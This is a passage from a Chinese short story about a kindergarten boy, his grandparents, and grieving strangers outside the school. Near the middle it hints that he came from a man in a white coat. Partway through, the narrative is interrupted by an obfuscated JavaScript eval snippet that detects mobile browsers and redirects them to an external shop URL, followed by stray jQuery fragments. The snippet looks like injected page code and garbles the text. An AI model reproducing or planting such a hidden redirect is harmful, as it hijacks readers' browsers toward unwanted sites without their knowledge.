午睡的时候,苍真把饼干盒放在枕头旁边。山田老师给他盖毯子,他拉住老师的手。
“老师,门口那些人是谁?”
山田老师顿了一下,“什么人?”她以为是幼稚园进人呢,还望外面看一眼。
“就是今天早上,穿灰色衣服的几个人。”
“啊?……老师不知道。”
“他们眼睛红红的。”苍真说,“他也有小孩在这吗?”
山田老师没有说话。她给苍真掖了掖毯子,轻声说:“睡吧。只有午休的苍真才是好宝宝。”
苍真闭上眼睛。他没有立刻睡着,他想着祖父总是跟他说一些听不明白的事请,还老是说以后。
以后是什么时候?苍真不太懂。他想明天可以和祖母做饼干分给那些人,因为他们好伤心哎。
他翻了个身,嘴里嘀咕着什么然后下一秒就陷入了睡眠。
下午点心还是布丁。大河把自己的推给苍真,苍真推回去一半。小花把自己的推给大河,大河推回去。翔太看着三个人推来推去,把自己的布丁分成三份,每人面前放了一份。
“这样就不用推了。”翔太说。
苍真觉得翔太很聪明。
放学的时候,苍真抱着饼干盒站在门口。盒子已经空了,饼干都分完了,只剩下一点碎屑。他摇一摇,沙沙响。
祖父今天来得有点晚。苍真站在台阶上,看见那群穿灰色衣服的人还在路对面。
他举起空盒子,朝他们晃了晃。
“明天有饼干!你们吃嘛?!”
那些人没有动。
祖父从走廊那头跑过来,外套被风吹得鼓起来。他一把抱起苍真,把苍真的脸按在自己肩上。
“今天等久了。”
“没有。”苍真的声音闷闷的,“我跟他们说明天有饼干,但他们没回。”
祖父的脚步顿了一下。“跟谁说?”
“那些人。”苍真指着路对面。
祖父没有看那边。他把苍真抱紧,往门口走。祖母今天没有来,祖父一个人抱着他,走得很快。
“祖父,你走得好快。”
“嗯。回家做晚饭。”
“祖母呢?”
“在家。”
“那些人不吃饼干吗?”
“……苍真可以吃,先回家。”
苍真趴在祖父肩上,看着路对面那些人越来越远。他们还在站着,像一排树。其中一个人蹲下来,像苍真在幼儿园累了的时候那样,蹲着,头埋在膝盖里。
“祖父,那个人蹲下了。”
“嗯。”
“他累了吗?”
“可能吧。”
“那为什么不回家睡觉?”
祖父没有回答。他抱着苍真,走过樱花树下,花瓣落在苍真头发上。祖父没有伸手去拿。
回到家,祖母在厨房,背对着门,肩膀在抖。苍真从祖父身上滑下来,跑过去。
“祖母!”
祖母转过身,脸上有水,她笑着把苍真抱起来。
“回来了。今天好不好?”
“好。”苍真伸手擦祖母的脸,“祖母,你刚刚洗香香了?。”
“没有,只是出汗了。”
“厨房很热吗?”
“有点热。”
苍真从口袋里掏出橘子糖,剥开糖纸,塞进祖母嘴里。
“吃糖。糖甜。”
祖母愣了一下,然后笑了着看他,眼睛弯成月牙。
“真甜。”
“还有。”苍真把鹿岛给的糖、翔太给的糖、大河给的饼干碎屑,全掏出来,放在桌上,“这些都是今天的。给祖母。”
祖父站在门口,看着桌上那一小堆东西。苍真跑过去,拉住祖父的手,把他拽到桌边。
“祖父也吃。”
“祖父不吃糖。”
“那祖父吃什么?”
祖父蹲下来,突然把苍真抱进怀里,抱得很紧,像怕苍真跑掉。
怎么感觉祖父怪怪的,苍真想。
“抱一下。抱一下就好。”
苍真被抱得有点疼,但他没有动。他感觉到祖父在发抖,像冬天站在外面的样子。他伸手拍祖父的背,像拍小鸡睡觉那样,一下一下。
“祖父不怕。”苍真说。
祖父把脸埋在苍真肩窝里,很久没说话。苍真很想继续拍,但拍得手都酸了,于是就朝祖父笑笑。
“苍真,”祖父终于开口,声音闷闷的,“你知道自己从哪里来吗?”
“从祖母肚子里?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747034|209323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“不是。”祖父有点无语,“祖母是祖母不是妈妈。”
“从月亮上?”
“……也不是。”
“哪从哪里?”苍真不想猜了。
祖父松开他,从抽屉里拿出那张照片。照片背面写着编号,正面是穿白大褂的人。
“从这个人手里。”祖父说,“他把你抱出来,交给我。他和我说请对他好,他也就是你。”
苍真看着照片上的人。温柔地笑,白大褂,口袋上别着一支笔。
“他是谁?我的妈妈吗?”
“……男生是不可以做妈妈的,”祖父一个踉跄,平和道:“曾经是爱你的人。”
“现在不爱了吗?”
祖父的眼圈红了。苍真伸手去碰,被祖父抓住手,按在脸上。
“爱。”祖父说,“很爱。只是他不能来了。”
“为什么?”
“他去了很远的地方。”
“比月亮还远?”
祖父:……
“……差不多。”
苍真想了想。他拿起桌上的橘子糖,剥开,放在照片旁边。
“那给他留一颗糖,等他从月亮回来的时候吃。”
祖父看着那颗糖,突然笑了,眼泪也掉下来。
“好。”他说,“留一颗,等他回来。”
苍真满意了。他从椅子上爬下来,把恐龙、小鸡、耳朵排成一排,放在照片旁边。
“它们陪他。等月亮近了,它们叫我,我再去。”
祖母把苍真抱起来,亲了亲他的额头。“苍真最聪明。”
“嗯。”苍真毫不谦虚,“我是向日葵里最聪明的!”
晚上睡觉的时候,苍真把照片放在枕头旁边,和小鸡、耳朵、恐龙一起。他对着照片说:“你记得回来吃糖哦。”
然后闭上眼睛。
祖父和祖母站在门口,看着床上的苍真。月光从窗户照进来,落在照片上,落在糖上,落在苍真翘着的嘴角上。
“他知道了。”祖母轻声说,“那些人——”
“明天我去谈。”祖父说,“他们不会带走苍真。我保证。”
祖母握住祖父的手。两个人站在门口。
苍真翻了个身,抱住小鸡,嘟囔了一句梦话。